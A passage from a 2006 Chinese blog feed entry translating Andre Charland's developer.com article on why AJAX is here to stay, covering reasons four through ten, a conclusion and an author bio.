		</p>
		<p style="TEXT-INDENT: 2em">IE和基于Mozilla的FIREFOX是占据市场分额最大的两个浏览器，并且它们都支持在浏览器上轻松创建基于AJAX的WEB应用。现在开发运行在更为先进的WEB浏览器上的基于AJAX的富WEB应用成为了可能。这是为什么AJAX应用变得如此流行的一个最重要的原因。其实很多开发人员多年前就意识到AJAX技术流行的可能，但一直没有流行是因为浏览器厂商的原因。感谢Mozilla和FIREFOX。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第四名：使常规的WEB应用受益</b>
		</p>
		<p style="TEXT-INDENT: 2em">AJAX技术是当今WEB应用的门面——WEB应用获得的利益超过了桌面应用。这些利益包括部署应用的低投入、维护方便、缩短开发时间和不需要安装。这些都是促使商业和用户自从上世纪九十年代以来采用WEB应用的优点。AJAX技术不但能使WEB应用获得益处，而且使最终用户受益。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第五名：促使技能、工具和技术的升级</b>
		</p>
		<p style="TEXT-INDENT: 2em">由于AJAX基于这些年一直使用的一些公开标准，很多的开发人员就会有新的技术方面的要求以便能够开发AJAX应用。但这并不意味着开发团队从基于HTML和FORM的应用转移到富AJAX型应用需要很高的学习曲线。同时，这意味着开发WEB应用的开发团体需要加速将他们的用户接口升级到AJAX，但并不需要一个大规模的升级和重写他们的WEB应用。自从上世纪九十年代以来，在开发基于浏览器应用方法花了大量投资的那些系统强烈的希望能在现有的应用的基础上增加用户体验。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第六名：能和Flex和Flash等技术的很好的集成</b>
		</p>
		<p style="TEXT-INDENT: 2em">大多数的开发社区都不再支持FlashvsAJAX的火热讨论，这两种技术都在不同的场合拥有各自的优点和缺点，但是它们有大量的机会可以集成到一起工作。很多的开发人员和技术提供商意识到这一点，并且开发出了伟大的产品来集成Flex和AJAX协调使用。我们也热切的期望看到两者能在Macromedia里一起工作。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第七名：采用率</b>
		</p>
		<p style="TEXT-INDENT: 2em">AJAX被业内领袖广泛采用证明了市场的欢迎程度和该技术组的正确。每一个该技术的使用者都成为了胜利者：包括google、yahoo、Amazon和微软等等。是google地图吸引了WEB开发人员的目光，当人们开始调查是什么原因使得google有着如此惊人的用户体验的时候，人们揭开了罩在AJAX头上的面纱。</p>
		<p style="TEXT-INDENT: 2em">当然，仅仅是google使用AJAX是不够使得这项技术跨越从支流到主流的鸿沟的。但是，如果你看一看使用AJAX技术的客户如eBusinessApplications(www.ebusinessapps.com)orTibco(<a href="http://www.tibco.com)等的表单时，你就会发现财富500强包括主要的金融机构、政府机构、航空公司和其他主要商业机构采用ajax，并且在ajax成为硬通货之前很早就开始使用了。/" target="_blank"><font color="#002c99">http://www.tibco.com)等的表单时，你就会发现财富500强包括主要的金融机构、政府机构、航空公司和其他主要商业机构采用AJAX，并且在AJAX成为硬通货之前很早就开始使用了。</font></a></p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第八名：WEB2.0</b>
		</p>
		<p style="TEXT-INDENT: 2em">喜欢也好，厌恶也罢。WEB2.0运行吸引了开发人员、风险投资商、市场和最终用户等所有的目光。这些明确的促进了AJAX的早期应用。当大肆的宣传过去以后，我们将会看到什么呢？从BackPack到google地图，AJAX界面是WEB2.0应用的主要的组成。大量的宣传有助于加速采用AJAX，而在可用性上的获益会使得该技术被广发应用。WEB2.0的一个主要原则是使用WEB作为一个应用开发的平台，而不仅仅是一个网页。高的可用性和交互能力的用户界面是一切应用平台的主要组成部分。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第九名：AJAX基于服务器技术的不确定性</b>
		</p>
		<p style="TEXT-INDENT: 2em">和AJAX技术的浏览器的独立性相同，该技术也兼容所有的标准型的服务器和服务端语言，如PHP,ASP.ASP.Net,Perl,JSP,ColdFusion等等，选择属于你的那种然后开始。这使得AJAX开发独立，因为所有的开发人员都能使用并且一起讨论相同的表现层。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第十名：基于WEB的下一代RIA技术还没有出现</b>
		</p>
		<p style="TEXT-INDENT: 2em">今天就使用XUL技术开发应用的人是伟大的，因为现在90%的浏览器还不支持这种技术，对于大多数的实际应用来说，使用这种技术不切合实际。然而，AJAX开发人员应该给出一部分的注意力在这些技术，如XAML和XUL上。毫无疑问，这些技术将使开发富WEB应用变得简单。但是它们可能相互不兼容并且拥有不同的市场需求或动力。</p>
		<p style="TEXT-INDENT: 2em">在今后一段时间，AJAX技术将极大的提高WEB应用的可用性。AJAX技术并不完美，不是“火箭科学”许多的开发人员和技术公司始终在尝试RIA的其他更好的技术。而实际的问题是AJAX技术现在已经存在并且应用的很好，它跨浏览器、跨平台，而且不管是用户还是开发人员都喜欢它的作用。特征鲜明的AJAX应用如google地图已经成为了本领域的领导者（还有人使用MapQuest吗？）同样的，领先的财富500强使用AJAX技术并且贡献了开发工具给社区了。一般来说，业内在使用AJAX技术上取得了一致并且正在使用它。再强调一次，RIA应用和WEB应用使用了AJAX获得的一个主要的优势不仅仅是开发人员的一个工具，而是一个现象：它改变了我们开发WEB应用的方式。没人能说得清楚在RIA应用方面，哪一种技术会取代它，会在什么时候取代它；但是很多因素都支持AJAX应用应该持续好多年。</p>
		<p style="TEXT-INDENT: 2em">
				<b>关于作者</b>
		</p>
		<p style="TEXT-INDENT: 2em">AndreCharland从事Internet软件开始超过十年之久，他是eBusinessApplications(www.ebusinessapps.com)公司的主席和创建者之一。他和DaveJohnson在1998年创建了该公司。他主要的经验在可用性、市场、项目管理和基于构件的软件开发。所受教育包括：在Vancouver,BC的SimonFraserUniversity，他在那里读计算机科学和工商管理。他作为开发者、管理者和架构师等不同身份有上百个Internet项目的经验。</p>
		<p style="TEXT-INDENT: 2em">原文链接<a href="http://www.developer.com/java/other/article.php/3567706" target="_blank"><font color="#002c99">http://www.developer.com/java/other/article.php/3567706</font></a></p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6866.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-10 13:21 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>